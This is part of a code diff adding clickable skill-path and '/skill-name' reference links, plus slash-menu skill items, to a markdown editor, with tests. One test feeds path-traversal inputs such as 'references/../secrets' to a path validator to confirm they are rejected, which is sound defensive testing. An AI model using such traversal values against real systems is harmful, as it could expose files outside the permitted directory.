- itemsSources: [...SLASH_ITEM_SOURCES],
+ itemsSources: [...SLASH_ITEM_SOURCES, getSkillReferenceItems],
categoryLabels: {
+ // First key = top group: in a skill doc, `/` surfaces skill references
+ // before the block/component items.
+ skills: 'Skills',
content: 'Components',
layout: 'Layout',
media: 'Media',
diff --git a/packages/app/src/editor/extensions/skill-path-links.test.ts b/packages/app/src/editor/extensions/skill-path-links.test.ts
new file mode 100644
index 000000000..117f6e7f9
--- /dev/null
+++ b/packages/app/src/editor/extensions/skill-path-links.test.ts
@@ -0,0 +1,106 @@
+import { describe, expect, test } from 'vitest';
+import { hashFromSkillFile } from '@/lib/doc-hash';
+import { skillEntryFileLiveDocName } from '@/lib/managed-artifact-doc-name';
+import {
+ BUNDLE_PATH_RE,
+ isSkillRefCandidate,
+ SKILL_REF_RE,
+ skillBundlePathNavHash,
+ skillDocTarget,
+} from './skill-path-links.ts';
+
+describe('BUNDLE_PATH_RE', () => {
+ test('matches bundle-relative reference/script paths, normalizing ./', () => {
+ expect(BUNDLE_PATH_RE.exec('references/epistemics.md')?.[1]).toBe('references/epistemics.md');
+ expect(BUNDLE_PATH_RE.exec('./scripts/extract-stylometry.py')?.[1]).toBe(
+ 'scripts/extract-stylometry.py',
+ );
+ expect(BUNDLE_PATH_RE.exec('references/deep/nested-file.md')?.[1]).toBe(
+ 'references/deep/nested-file.md',
+ );
+ });
+
+ test('stays inert for everything else', () => {
+ // Whole-span anchoring: a path mentioned mid-span is not a link.
+ expect(BUNDLE_PATH_RE.test('see references/x.md for detail')).toBe(false);
+ // Only the two bundle roots; no escapes; no bare filenames or flags.
+ expect(BUNDLE_PATH_RE.test('assets/logo.png')).toBe(false);
+ expect(BUNDLE_PATH_RE.test('references/../secrets')).toBe(false);
+ expect(BUNDLE_PATH_RE.test('../../../../scripts/lume-bake/')).toBe(false);
+ expect(BUNDLE_PATH_RE.test('--check-deps')).toBe(false);
+ expect(BUNDLE_PATH_RE.test('references/')).toBe(false);
+ });
+});
+
+describe('skillDocTarget', () => {
+ test('resolves in-place project bundle docs and managed skill artifacts', () => {
+ expect(skillDocTarget('.agents/skills/analyze-stylometry/SKILL')).toEqual({
+ scope: 'project',
+ name: 'analyze-stylometry',
+ });
+ expect(skillDocTarget('__skill__/global/my-skill/SKILL')).toEqual({
+ scope: 'global',
+ name: 'my-skill',
+ });
+ expect(skillDocTarget('docs/ordinary-page')).toBeNull();
+ });
+});
+
+describe('SKILL_REF_RE + isSkillRefCandidate', () => {
+ function refs(text: string): string[] {
+ SKILL_REF_RE.lastIndex = 0;
+ const out: string[] = [];
+ for (let m = SKILL_REF_RE.exec(text); m !== null; m = SKILL_REF_RE.exec(text)) {
+ const slug = m[2] as string;
+ if (isSkillRefCandidate(slug)) out.push(slug);
+ }
+ return out;
+ }
+
+ test('matches standalone /skill-name tokens in prose', () => {
+ expect(refs('Load /structured-thinking skill first.')).toEqual(['structured-thinking']);
+ expect(refs('(see /grilling) or /grill-me.')).toEqual(['grilling', 'grill-me']);
+ expect(refs('/analyze')).toEqual(['analyze']);
+ });
+
+ test('paths, urls, and stop-listed roots stay inert', () => {
+ expect(refs('read /api/skill or scripts/run.sh')).toEqual([]);
+ expect(refs('stored under /tmp and /usr today')).toEqual([]);
+ expect(refs('https://x.com/foo')).toEqual([]);
+ expect(refs('half/way is not a ref')).toEqual([]);
+ });
+});
+
+describe('skillBundlePathNavHash (PRD-7607)', () => {
+ const projectSkillDoc = '.claude/skills/foo/SKILL';
+
+ test('an editable .md/.mdx reference opens the live editable doc, not the read-only viewer', () => {
+ const target = { scope: 'project' as const, name: 'foo' };
+ const editableDoc = skillEntryFileLiveDocName(
+ { scope: 'project', name: 'foo', path: `${projectSkillDoc}.md` },
+ 'references/bar.md',
+ );
+ // Same buffer the sidebar's openFile targets — a plain `#/<docName>` hash.
+ expect(skillBundlePathNavHash(target, projectSkillDoc, 'references/bar.md')).toBe(
+ `#/${editableDoc}`,
+ );
+ });
+
+ test('a script (non-md) keeps the read-only skill-file viewer', () => {
+ const target = { scope: 'project' as const, name: 'foo' };
+ expect(skillBundlePathNavHash(target, projectSkillDoc, 'scripts/run.sh')).toBe(
+ hashFromSkillFile({ ...target, path: 'scripts/run.sh' }),
+ );
+ });
+
+ test('a built-in (open-knowledge*) skill stays read-only even for a .md reference', () => {
+ const target = { scope: 'project' as const, name: 'open-knowledge-write-skill' };
+ expect(
+ skillBundlePathNavHash(
+ target,
+ '.claude/skills/open-knowledge-write-skill/SKILL',
+ 'references/x.md',
+ ),
+ ).toBe(hashFromSkillFile({ ...target, path: 'references/x.md' }));
+ });
+});
diff --git a/packages/app/src/editor/extensions/skill-path-links.ts b/packages/app/src/editor/extensions/skill-path-links.ts
new file mode 100644
index 000000000..79bfa6e11
--- /dev/null
+++ b/packages/app/src/editor/extensions/skill-path-links.ts
@@ -0,0 +1,239 @@
+/**
+ * Skill-doc path affordance — makes the ecosystem's native convention of
+ * backticked bundle paths (`references/x.md`, `scripts/run.py`) clickable in
+ * the WYSIWYG, display-only. Skills are authored for agents, which read inline
+ * CODE paths fine; in the editor those spans were inert chips. This decorates
+ * code-marked text whose full text is bundle-path-shaped and, on click, opens
+ * the bundle file through the same scope-aware skill-file route the sidebar
+ * file rows use — bytes are never touched (no schema change, no serialization
+ * change), and resolution never walks the filesystem (so symlinked bundle
+ * homes behave). Existence is NOT pre-checked; a click on a missing path lands
+ * on the viewer's own not-found state.
+ *
+ * Active only when the doc IS a skill bundle doc (project in-place bundle doc,
+ * or a `__skill__/<scope>/<name>` managed artifact). External (`__extskill__`)
+ * docs are out of scope for now — their files open through a different scheme.
+ */
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import {
+ isSkillRefCandidate,
+ parseManagedArtifactName,
+ parseProjectSkillBundleDoc,
+ RESERVED_PROJECT_SKILL_NAME,
+ SKILL_REF_RE,
+} from '@inkeep/open-knowledge-core';
+import { Extension } from '@tiptap/core';
+import type { Node as PMNode } from '@tiptap/pm/model';
+import { Plugin, PluginKey } from '@tiptap/pm/state';
+import { Decoration, DecorationSet } from '@tiptap/pm/view';
+import {
+ hashFromDocName,
+ hashFromSkillFile,
+ hashFromSkillPreview,
+ hashFromSkills,
+} from '@/lib/doc-hash';
+import { skillEntryFileLiveDocName, skillEntryLiveDocName } from '@/lib/managed-artifact-doc-name';
+import { getSkillNameSnapshot } from '@/lib/skill-name-set';
+import { resolveSkillRef } from '@/lib/skills-api';
+
+/** Bundle-relative path shape: the two allowed roots, sane segments, no `..`,
+ * optional `./` prefix. Anchored over the WHOLE code span so prose that merely
+ * mentions a path mid-sentence inside a longer span stays inert. */
+export const BUNDLE_PATH_RE = /^\.?\/?((?:references|scripts)(?:\/[A-Za-z0-9_-][A-Za-z0-9._-]*)+)$/;
+
+// The `/skill-name` grammar lives in core (`constants/skills.ts`) — the server
+// backlink index derives skill-ref graph edges from the SAME regex + stoplist,
+// so what renders as a chip and what draws an edge can never drift. Re-exported
+// for this module's consumers (source-mode mirror, tests).
+export { isSkillRefCandidate, SKILL_REF_RE };
+
+export function skillDocTarget(docName: string): { scope: SkillScope; name: string } | null {
+ const inPlace = parseProjectSkillBundleDoc(docName);
+ if (inPlace) return { scope: 'project', name: inPlace.name };
+ const managed = parseManagedArtifactName(docName);
+ if (managed?.kind === 'skill') return { scope: managed.scope, name: managed.name };
+ return null;
+}
+
+/**
+ * Where a clicked skill bundle-path link (`references/x.md`, `scripts/run.sh`)
+ * navigates. An EDITABLE `.md`/`.mdx` reference of a non-built-in skill opens the
+ * live editable doc — the SAME buffer the sidebar's `openFile` opens, so a link
+ * and the sidebar agree. Scripts, binaries, and built-in
+ * (`open-knowledge*`) skills keep the read-only skill-file viewer. `skillDocName`
+ * is the SKILL doc the link was clicked in (a project skill's ext-less
+ * `…/SKILL`); global scope ignores it.
+ */
+export function skillBundlePathNavHash(
+ target: { scope: SkillScope; name: string },
+ skillDocName: string,
+ path: string,
+): string {
+ const ext = path.slice(path.lastIndexOf('.') + 1).toLowerCase();
+ const editable =
+ (ext === 'md' || ext === 'mdx') && !target.name.startsWith(RESERVED_PROJECT_SKILL_NAME);
+ if (!editable) return hashFromSkillFile({ ...target, path });
+ // Reconstruct the entry shape `skillEntryFileLiveDocName` needs: a project
+ // skill's doc name is the ext-less SKILL content doc; its `.md` form strips
+ // back to the bundle dir. Global scope resolves by scope/name and ignores it.
+ const skillPath = target.scope === 'project' ? `${skillDocName}.md` : '';
+ return hashFromDocName(
+ skillEntryFileLiveDocName({ scope: target.scope, name: target.name, path: skillPath }, path),
+ );
+}
+
+function pathOfCodeSpan(node: PMNode): string | null {
+ if (!node.isText || node.text === undefined) return null;
+ if (!node.marks.some((m) => m.type.name === 'code')) return null;
+ const m = BUNDLE_PATH_RE.exec(node.text);
+ return m ? (m[1] as string) : null;
+}
+
+function buildDecorations(doc: PMNode): DecorationSet {
+ const decos: Decoration[] = [];
+ const known = getSkillNameSnapshot();
+ doc.descendants((node, pos) => {
+ const path = pathOfCodeSpan(node);
+ if (path !== null) {
+ decos.push(
+ Decoration.inline(pos, pos + node.nodeSize, {
+ class: 'ok-skill-path-link',
+ 'data-skill-path': path,
+ }),
+ );
+ return undefined;
+ }
+ // `/skill-name` references. In PROSE, standalone tokens decorate; inside a
+ // code mark ONLY a whole-span `/name` counts (skills conventionally write
+ // the invocation as inline code — `/research` — while longer code spans
+ // are literal commands/paths and stay inert).
+ if (known !== null && node.isText && node.text !== undefined) {
+ if (node.marks.some((m) => m.type.name === 'code')) {
+ const whole = /^\/([a-z0-9][a-z0-9-]{1,63})$/.exec(node.text);
+ const slug = whole?.[1];
+ if (slug !== undefined && isSkillRefCandidate(slug)) {
+ decos.push(
+ Decoration.inline(pos, pos + node.nodeSize, {
+ class: known.has(slug) ? 'ok-skill-ref' : 'ok-skill-ref ok-skill-ref-missing',
+ 'data-skill-ref': slug,
+ }),
+ );
+ }
+ return undefined;
+ }
+ SKILL_REF_RE.lastIndex = 0;
+ for (let m = SKILL_REF_RE.exec(node.text); m !== null; m = SKILL_REF_RE.exec(node.text)) {
+ const slug = m[2] as string;
+ if (!isSkillRefCandidate(slug)) continue;
+ const start = pos + (m.index ?? 0) + (m[1] as string).length;
+ const installed = known.has(slug);
+ decos.push(
+ Decoration.inline(start, start + slug.length + 1, {
+ class: installed ? 'ok-skill-ref' : 'ok-skill-ref ok-skill-ref-missing',
+ 'data-skill-ref': slug,
+ }),
+ );
+ }
+ }
+ return undefined;
+ });
+ return DecorationSet.create(doc, decos);
+}
+
+const key = new PluginKey<DecorationSet>('okSkillPathLinks');
+
+export const SkillPathLinks = Extension.create<{
+ docName: string;
+ /**
+ * Context override for a clicked bundle-path chip (`references/…`,
+ * `scripts/…`). When set and it returns `true`, it handles the click and the
+ * default hash navigation is skipped — used by the in-preview file list, where
+ * a chip should SWITCH the preview's selected file rather than navigate away to
+ * a standalone skill-file view.
+ */
+ onBundlePathClick?: (path: string) => boolean;
+}>({
+ name: 'skillPathLinks',
+
+ addOptions() {
+ return { docName: '' };
+ },
+
+ addProseMirrorPlugins() {
+ const docName = this.options.docName;
+ const onBundlePathClick = this.options.onBundlePathClick;
+ const target = skillDocTarget(docName);
+ if (target === null) return [];
+ return [
+ new Plugin<DecorationSet>({
+ key,
+ state: {
+ init: (_config, state) => buildDecorations(state.doc),
+ apply: (tr, decos) =>
+ tr.docChanged ? buildDecorations(tr.doc) : decos.map(tr.mapping, tr.doc),
+ },
+ props: {
+ decorations(state) {
+ return key.getState(state);
+ },
+ handleClick(view, pos, event) {
+ const el =
+ event.target instanceof HTMLElement ? event.target.closest('[data-skill-ref]') : null;
+ const slug = el instanceof HTMLElement ? el.dataset.skillRef : undefined;
+ if (slug !== undefined) {
+ const known = getSkillNameSnapshot();
+ const hit = known?.get(slug);
+ if (hit !== undefined) {
+ window.location.hash = hashFromDocName(
+ skillEntryLiveDocName({ scope: hit.scope, name: slug, path: hit.path }),
+ );
+ } else {
+ // Not installed: resolve the reference by trusted-provenance
+ // precedence (local / same-source sibling / same-publisher). A
+ // trusted hit opens that skill or its preview; no trusted match
+ // drops to the Skills hub for MANUAL search — never a fuzzy
+ // auto-pick. Async fetch, then navigate (click is handled now).
+ void resolveSkillRef({ ref: slug, scope: target.scope, from: target.name }).then(
+ (r) => {
+ if (r.ok && r.kind === 'local' && r.scope && r.name) {
+ // Use the resolver's REAL dir, matching the snapshot-hit
+ // branch above. Deriving from the name alone assumed the
+ // retired `.ok/skills` layout and opened a phantom tab.
+ window.location.hash = hashFromDocName(
+ skillEntryLiveDocName({
+ scope: r.scope,
+ name: r.name,
+ path: r.dir !== undefined ? `${r.dir}/SKILL.md` : '',
+ }),
+ );
+ } else if (r.ok && r.kind === 'import' && r.source && r.ref) {
+ window.location.hash = hashFromSkillPreview({
+ flavor: 'explore',
+ source: r.source,
+ name: r.ref,
+ subtitle: r.source,
+ level: target.scope,
+ });
+ } else {
+ window.location.hash = hashFromSkills();
+ }
+ },
+ );
+ }
+ return true;
+ }
+ const $pos = view.state.doc.resolve(pos);
+ const node = $pos.parent.maybeChild($pos.index());
+ const path = node ? pathOfCodeSpan(node) : null;
+ if (path === null) return false;
+ // In-preview file list handles the click itself (switches the file);
+ // everywhere else, navigate to the bundle file.
+ if (onBundlePathClick?.(path) === true) return true;
+ window.location.hash = skillBundlePathNavHash(target, docName, path);
+ return true;
+ },
+ },
+ }),
+ ];
+ },
+});
diff --git a/packages/app/src/editor/extensions/slash-command.ts b/packages/app/src/editor/extensions/slash-command.ts
index 6b0ebd0c2..757bd07e5 100644
--- a/packages/app/src/editor/extensions/slash-command.ts
+++ b/packages/app/src/editor/extensions/slash-command.ts
@@ -1,4 +1,4 @@
-import { Extension } from '@tiptap/core';
+import { type Editor, Extension } from '@tiptap/core';
import { type EditorState, PluginKey } from '@tiptap/pm/state';
import { ReactRenderer } from '@tiptap/react';
import Suggestion, { type SuggestionKeyDownProps, type SuggestionProps } from '@tiptap/suggestion';
@@ -35,7 +35,7 @@ export interface SlashCommandOptions {
* })
* ```
*/
- itemsSources: (() => SlashCommandItem[])[];
+ itemsSources: ((ctx?: { editor?: Editor }) => SlashCommandItem[])[];
/**
* Category labels to display in the menu. Defaults include:
@@ -66,15 +66,16 @@ export interface SlashCommandOptions {
* exercise the exact transform the extension runs rather than a re-derivation.
*/
export function buildSlashMenuItems(options: {
- sources: (() => SlashCommandItem[])[];
+ sources: ((ctx?: { editor?: Editor }) => SlashCommandItem[])[];
categoryOrder: string[];
query: string;
state: EditorState;
+ editor?: Editor;
}): SlashCommandItem[] {
- const { sources, categoryOrder, query, state } = options;
+ const { sources, categoryOrder, query, state, editor } = options;
const allItems = sources.flatMap((source) => {
try {
- return source();
+ return source(editor !== undefined ? { editor } : undefined);
} catch (err) {
console.error('[slash-command] item source threw an error', err);
return [];
@@ -155,9 +156,21 @@ export const SlashCommand = Extension.create<SlashCommandOptions>({
items: ({ query, editor }) =>
buildSlashMenuItems({
sources: extension.options.itemsSources,
- categoryOrder: Object.keys(extension.options.categoryLabels),
+ // Explicit global order: the skills group leads (skill docs only —
+ // empty elsewhere), then the unlabeled built-ins, then the labeled
+ // component groups. Relying on the unknown-category fallback made
+ // the built-ins' position an accident of the fallback rank.
+ categoryOrder: [
+ ...new Set([
+ 'skills',
+ 'basic',
+ 'insert',
+ ...Object.keys(extension.options.categoryLabels),
+ ]),
+ ],
query,
state: editor.state,
+ editor,
}),
command: ({ editor, range, props: item }) => applySlashCommandItem({ editor, item, range }),
diff --git a/packages/app/src/editor/skill-path-links-source.test.ts b/packages/app/src/editor/skill-path-links-source.test.ts
new file mode 100644
index 000000000..b32a61918
--- /dev/null
+++ b/packages/app/src/editor/skill-path-links-source.test.ts
@@ -0,0 +1,68 @@
+import { markdown, markdownLanguage } from '@codemirror/lang-markdown';
+import { EditorState } from '@codemirror/state';
+import { GFM } from '@lezer/markdown';
+import { describe, expect, test } from 'vitest';
+import { buildSkillPathDecorations } from './skill-path-links-source';
+
+function collect(doc: string): Array<{ text: string; path: string | undefined }> {
+ const state = EditorState.create({
+ doc,
+ extensions: [markdown({ base: markdownLanguage, extensions: [GFM] })],
+ });
+ const set = buildSkillPathDecorations(state, [{ from: 0, to: state.doc.length }]);
+ const out: Array<{ text: string; path: string | undefined }> = [];
+ const cursor = set.iter();
+ while (cursor.value) {
+ out.push({
+ text: state.doc.sliceString(cursor.from, cursor.to),
+ path: (cursor.value.spec as { attributes?: Record<string, string> }).attributes?.[
+ 'data-skill-path'
+ ],
+ });
+ cursor.next();
+ }
+ return out;
+}
+
+describe('buildSkillPathDecorations', () => {
+ test('decorates the inner text of a whole-span bundle path, backticks excluded', () => {
+ expect(collect('Load `references/epistemics.md` first.')).toEqual([
+ { text: 'references/epistemics.md', path: 'references/epistemics.md' },
+ ]);
+ });
+
+ test('normalizes ./ and handles scripts + nesting', () => {
+ expect(collect('Run `./scripts/deep/run.py`.')).toEqual([
+ { text: './scripts/deep/run.py', path: 'scripts/deep/run.py' },
+ ]);
+ });
+
+ test('a WHOLE-SPAN code ref like `/research` decorates as a skill reference', () => {
+ const state = EditorState.create({
+ doc: 'use `/research` instead.',
+ extensions: [markdown({ base: markdownLanguage, extensions: [GFM] })],
+ });
+ const set = buildSkillPathDecorations(
+ state,
+ [{ from: 0, to: state.doc.length }],
+ new Set(['research']),
+ );
+ const out: string[] = [];
+ const cursor = set.iter();
+ while (cursor.value) {
+ out.push(
+ (cursor.value.spec as { attributes?: Record<string, string> }).attributes?.[
+ 'data-skill-ref'
+ ] ?? '',
+ );
+ cursor.next();
+ }
+ expect(out).toEqual(['research']);
+ });
+
+ test('stays inert for prose mentions, non-bundle paths, and plain code', () => {
+ expect(collect('see `use references/x.md maybe`')).toEqual([]);
+ expect(collect('`assets/logo.png` and `--check-deps` and `npm run x`')).toEqual([]);
+ expect(collect('references/loose.md outside code')).toEqual([]);
+ });
+});
diff --git a/packages/app/src/editor/skill-path-links-source.ts b/packages/app/src/editor/skill-path-links-source.ts
new file mode 100644
index 000000000..88ff29de8
--- /dev/null
+++ b/packages/app/src/editor/skill-path-links-source.ts
@@ -0,0 +1,172 @@
+/**
+ * Source-mode counterpart of the WYSIWYG skill-path affordance
+ * (`extensions/skill-path-links.ts`): in a skill doc's raw markdown, an
+ * inline-code span whose WHOLE content is bundle-path-shaped
+ * (`references/…` / `scripts/…`) gets a link affordance, and clicking it opens
+ * the bundle file through the same scope-aware skill-file route. Decoration
+ * only — the document bytes are untouched, and both surfaces share the ONE
+ * `BUNDLE_PATH_RE` / `skillDocTarget` so they can never disagree on what
+ * counts as a path.
+ */
+import { syntaxTree } from '@codemirror/language';
+import type { EditorState, Extension, Range } from '@codemirror/state';
+import {
+ Decoration,
+ type DecorationSet,
+ EditorView,
+ ViewPlugin,
+ type ViewUpdate,
+} from '@codemirror/view';
+import { hashFromDocName, hashFromSkills } from '@/lib/doc-hash';
+import { skillEntryLiveDocName } from '@/lib/managed-artifact-doc-name';
+import { getSkillNameSnapshot } from '@/lib/skill-name-set';
+import {
+ BUNDLE_PATH_RE,
+ isSkillRefCandidate,
+ SKILL_REF_RE,
+ skillBundlePathNavHash,
+ skillDocTarget,
+} from './extensions/skill-path-links';
+
+/** Pure builder (exported for unit tests, mirrors source-polish's pattern):
+ * decorates the INNER text of matching InlineCode nodes, never the backticks. */
+function namesAsSet(): ReadonlySet<string> | null {
+ const snapshot = getSkillNameSnapshot();
+ return snapshot === null ? null : new Set(snapshot.keys());
+}
+
+export function buildSkillPathDecorations(
+ state: EditorState,
+ ranges: readonly { from: number; to: number }[],
+ knownSkillNames?: ReadonlySet<string> | null,
+): DecorationSet {
+ const decorations: Range<Decoration>[] = [];
+ const tree = syntaxTree(state);
+ // `/skill-name` prose references (outside code spans): mirror the WYSIWYG
+ // classification — installed links, unknown slug renders missing.
+ if (knownSkillNames != null) {
+ const codeSpans: Array<{ from: number; to: number }> = [];
+ for (const { from, to } of ranges) {
+ tree.iterate({
+ from,
+ to,
+ enter(node) {
+ if (node.name === 'InlineCode' || node.name === 'FencedCode') {
+ codeSpans.push({ from: node.from, to: node.to });
+ return false;
+ }
+ return undefined;
+ },
+ });
+ }
+ const inCode = (a: number, b: number): boolean =>
+ codeSpans.some((c) => a >= c.from && b <= c.to);
+ for (const { from, to } of ranges) {
+ const text = state.doc.sliceString(from, to);
+ SKILL_REF_RE.lastIndex = 0;
+ for (let m = SKILL_REF_RE.exec(text); m !== null; m = SKILL_REF_RE.exec(text)) {
+ const slug = m[2] as string;
+ if (!isSkillRefCandidate(slug)) continue;
+ const start = from + (m.index ?? 0) + (m[1] as string).length;
+ const end = start + slug.length + 1;
+ if (inCode(start, end)) continue;
+ decorations.push(
+ Decoration.mark({
+ class: knownSkillNames.has(slug) ? 'cm-skill-ref' : 'cm-skill-ref cm-skill-ref-missing',
+ attributes: { 'data-skill-ref': slug },
+ }).range(start, end),
+ );
+ }
+ }
+ }
+ for (const { from, to } of ranges) {
+ tree.iterate({
+ from,
+ to,
+ enter(node) {
+ if (node.name !== 'InlineCode') return;
+ const raw = state.doc.sliceString(node.from, node.to);
+ const open = raw.length - raw.replace(/^`+/, '').length;
+ const close = raw.length - raw.replace(/`+$/, '').length;
+ const inner = raw.slice(open, raw.length - close);
+ const ref = /^\/([a-z0-9][a-z0-9-]{1,63})$/.exec(inner);
+ const refSlug = ref?.[1];
+ if (refSlug !== undefined && isSkillRefCandidate(refSlug) && knownSkillNames != null) {
+ decorations.push(
+ Decoration.mark({
+ class: knownSkillNames.has(refSlug)
+ ? 'cm-skill-ref'
+ : 'cm-skill-ref cm-skill-ref-missing',
+ attributes: { 'data-skill-ref': refSlug },
+ }).range(node.from + open, node.to - close),
+ );
+ return false;
+ }
+ const m = BUNDLE_PATH_RE.exec(inner);
+ if (!m) return;
+ decorations.push(
+ Decoration.mark({
+ class: 'cm-skill-path-link',
+ attributes: { 'data-skill-path': m[1] as string },
+ }).range(node.from + open, node.to - close),
+ );
+ return false;
+ },
+ });
+ }
+ decorations.sort((a, b) => a.from - b.from || a.value.startSide - b.value.startSide);
+ return Decoration.set(decorations);
+}
+
+export function createSkillPathLinksSourceExtension(docName: string): Extension {
+ const target = skillDocTarget(docName);
+ if (target === null) return [];
+ const plugin = ViewPlugin.fromClass(
+ class {
+ decorations: DecorationSet;
+ constructor(view: EditorView) {
+ this.decorations = buildSkillPathDecorations(view.state, view.visibleRanges, namesAsSet());
+ }
+ update(update: ViewUpdate) {
+ if (
+ update.docChanged ||
+ update.viewportChanged ||
+ syntaxTree(update.startState) !== syntaxTree(update.state)
+ ) {
+ this.decorations = buildSkillPathDecorations(
+ update.view.state,
+ update.view.visibleRanges,
+ namesAsSet(),
+ );
+ }
+ }
+ },
+ { decorations: (v) => v.decorations },
+ );
+ const click = EditorView.domEventHandlers({
+ mousedown(event) {
+ // The path rides the decoration's data attribute, so a mark split across
+ // highlight token boundaries still carries the full path on each piece.
+ const refEl = (event.target as HTMLElement | null)?.closest?.('[data-skill-ref]');
+ const slug = refEl instanceof HTMLElement ? refEl.dataset.skillRef : undefined;
+ if (slug !== undefined) {
+ event.preventDefault();
+ const hit = getSkillNameSnapshot()?.get(slug);
+ window.location.hash =
+ hit !== undefined
+ ? hashFromDocName(
+ skillEntryLiveDocName({ scope: hit.scope, name: slug, path: hit.path }),
+ )
+ : hashFromSkills();
+ return true;
+ }
+ const el = (event.target as HTMLElement | null)?.closest?.('.cm-skill-path-link');
+ const path = el instanceof HTMLElement ? el.dataset.skillPath : undefined;
+ if (path === undefined) return false;
+ event.preventDefault();
+ window.location.hash = skillBundlePathNavHash(target, docName, path);
+ return true;
+ },
+ });
+ return [plugin, click];
+}
diff --git a/packages/app/src/editor/skill-preview-tab-reuse.test.ts b/packages/app/src/editor/skill-preview-tab-reuse.test.ts
new file mode 100644
index 000000000..61cfc5d9d
--- /dev/null
+++ b/packages/app/src/editor/skill-preview-tab-reuse.test.ts
@@ -0,0 +1,62 @@
+import { describe, expect, test } from 'vitest';
+import { findLocalSkillPreviewTabId, skillPreviewTabId } from './editor-tabs';
+
+/**
+ * A local-path preview's `source` is part of its tab identity but moves under
+ * us — a plugin-cache path carries the plugin VERSION, and a detected skill
+ * relocates when its installed copy is deleted and it is re-detected at its
+ * original location. Without source-independent reuse the same skill opens a
+ * SECOND, identically labelled tab, which is the duplicate-tab report.
+ *
+ */
+describe('findLocalSkillPreviewTabId', () => {
+ const pluginTab = (version: string) =>
+ skillPreviewTabId({
+ flavor: 'detected',
+ source: `/Users/x/.claude/plugins/cache/team/eng/${version}/skills/1on1`,
+ name: '1on1',
+ subtitle: 'claude',
+ level: 'project',
+ });
+
+ test('reuses the open tab for a detected skill whose plugin version bumped', () => {
+ const open = [pluginTab('1.2.679')];
+ // The same skill after a plugin update: different path, same skill.
+ expect(findLocalSkillPreviewTabId(open, 'detected', '1on1', 'project')).toBe(open[0]);
+ expect(pluginTab('1.2.680')).not.toBe(open[0]);
+ });
+
+ test('reuses the open tab for a built-in whose bundle path moved', () => {
+ const open = [
+ skillPreviewTabId({
+ flavor: 'builtin',
+ source: '/old/path/skills/open-knowledge',
+ name: 'open-knowledge',
+ subtitle: '',
+ level: 'global',
+ }),
+ ];
+ expect(findLocalSkillPreviewTabId(open, 'builtin', 'open-knowledge', 'global')).toBe(open[0]);
+ });
+
+ test('does not cross flavors or levels', () => {
+ const open = [pluginTab('1.2.679')];
+ expect(findLocalSkillPreviewTabId(open, 'builtin', '1on1', 'project')).toBeNull();
+ expect(findLocalSkillPreviewTabId(open, 'detected', '1on1', 'global')).toBeNull();
+ });
+
+ test('leaves explore previews alone — same name, two repos is two previews', () => {
+ const open = [
+ skillPreviewTabId({
+ flavor: 'explore',
+ source: 'vercel-labs/skills',
+ name: 'find-skills',
+ subtitle: 'vercel-labs/skills',
+ level: 'project',
+ }),
+ ];
+ // `explore` is not a local flavor, so it never matches the reuse probe.
+ expect(findLocalSkillPreviewTabId(open, 'detected', 'find-skills', 'project')).toBeNull();
+ expect(findLocalSkillPreviewTabId(open, 'builtin', 'find-skills', 'project')).toBeNull();
+ });
+});
diff --git a/packages/app/src/editor/slash-command/skill-reference-items.tsx b/packages/app/src/editor/slash-command/skill-reference-items.tsx
new file mode 100644
index 000000000..03a3b3e18
--- /dev/null
+++ b/packages/app/src/editor/slash-command/skill-reference-items.tsx
@@ -0,0 +1,46 @@
+/**
+ * Dynamic "reference a skill" slash items — skill docs only (typing `/` in a skill doc surfaces the skills you already have;
+ * the slash menu IS the picker, so `/gri` filters straight to `grilling`).
+ * Selecting one inserts the plain `/name ` convention bytes; the reference
+ * decoration then renders it as a live skill link. No items outside skill
+ * docs, no items before the name snapshot loads.
+ */
+import type { Editor } from '@tiptap/core';
+import { Sparkles } from 'lucide-react';
+import { getSkillNamesForScope } from '@/lib/skill-name-set';
+import { skillDocTarget } from '../extensions/skill-path-links';
+import type { SlashCommandItem } from './items';
+
+/** The active doc name, read off the always-registered skillPathLinks
+ * extension's options — the one place the editor instance carries it. */
+function editorDocName(editor: Editor | undefined): string | null {
+ if (!editor) return null;
+ const ext = editor.extensionManager.extensions.find((e) => e.name === 'skillPathLinks');
+ const docName = (ext?.options as { docName?: string } | undefined)?.docName;
+ return typeof docName === 'string' && docName !== '' ? docName : null;
+}
+
+export function getSkillReferenceItems(ctx?: { editor?: Editor }): SlashCommandItem[] {
+ const docName = editorDocName(ctx?.editor);
+ const target = docName === null ? null : skillDocTarget(docName);
+ if (target === null) return [];
+ // Same-scope only: a global skill referencing a project skill breaks in
+ // every other project; a project doc references its own project set.
+ const known = getSkillNamesForScope(target.scope);
+ if (known === null) return [];
+ const items: SlashCommandItem[] = [];
+ for (const [name, info] of known) {
+ items.push({
+ name: `skill-ref-${name}`,
+ label: name,
+ icon: Sparkles,
+ category: 'skills',
+ description: info.scope,
+ command: (editor) => {
+ editor.chain().focus().insertContent(`/${name} `).run();
+ },
+ });
+ }
+ items.sort((a, b) => a.label.localeCompare(b.label));
+ return items;
+}
diff --git a/packages/app/src/env.d.ts b/packages/app/src/env.d.ts
index 3a622d167..b8becff67 100644
--- a/packages/app/src/env.d.ts
+++ b/packages/app/src/env.d.ts
@@ -22,6 +22,14 @@ declare module 'lucide-react/dist/esm/icons/link-2' {
export const __iconNode: [string, Record<string, string>][];
}
+declare module 'lucide-react/dist/esm/icons/lock' {
+ export const __iconNode: [string, Record<string, string>][];
+}
+
+declare module 'lucide-react/dist/esm/icons/package' {
+ export const __iconNode: [string, Record<string, string>][];
+}
+
declare namespace globalThis {
import type { HocuspocusProvider } from '@hocuspocus/provider';
import type { Editor } from '@tiptap/core';
diff --git a/packages/app/src/globals.css b/packages/app/src/globals.css
index 66056971e..d38cd76ee 100644
--- a/packages/app/src/globals.css
+++ b/packages/app/src/globals.css
@@ -162,6 +162,13 @@
--color-gray-900: oklch(0.216 0.006 56.043);
--color-gray-950: oklch(0.147 0.004 49.25);
+ /* File-tree muted foreground (disclosure carets, indent guides). Pierre
+ declares `--trees-fg-muted` on `:host` inside its shadow root, so that var
+ is unreachable from sidebar chrome rendered outside the tree. This token is
+ the shared source: `createFileTreeStyle` feeds it into the tree, and
+ out-of-tree rows use the generated `text-tree-muted` utility to match. */
+ --color-tree-muted: light-dark(var(--color-gray-400), var(--color-gray-500));
+
/* brand colors */
--color-azure-blue: #3784ff;
--color-sky-blue: #69a3ff;
@@ -1933,6 +1940,51 @@
font-size: 0.95em;
}
+/* `/skill-name` references in skill-doc prose: installed reads as a link;
+ missing reads as the broken-link treatment with an install path on click. */
+.ProseMirror .ok-skill-ref,
+.cm-skill-ref {
+ cursor: pointer;
+ color: var(--color-azure-blue);
+ @apply dark:text-sky-blue;
+}
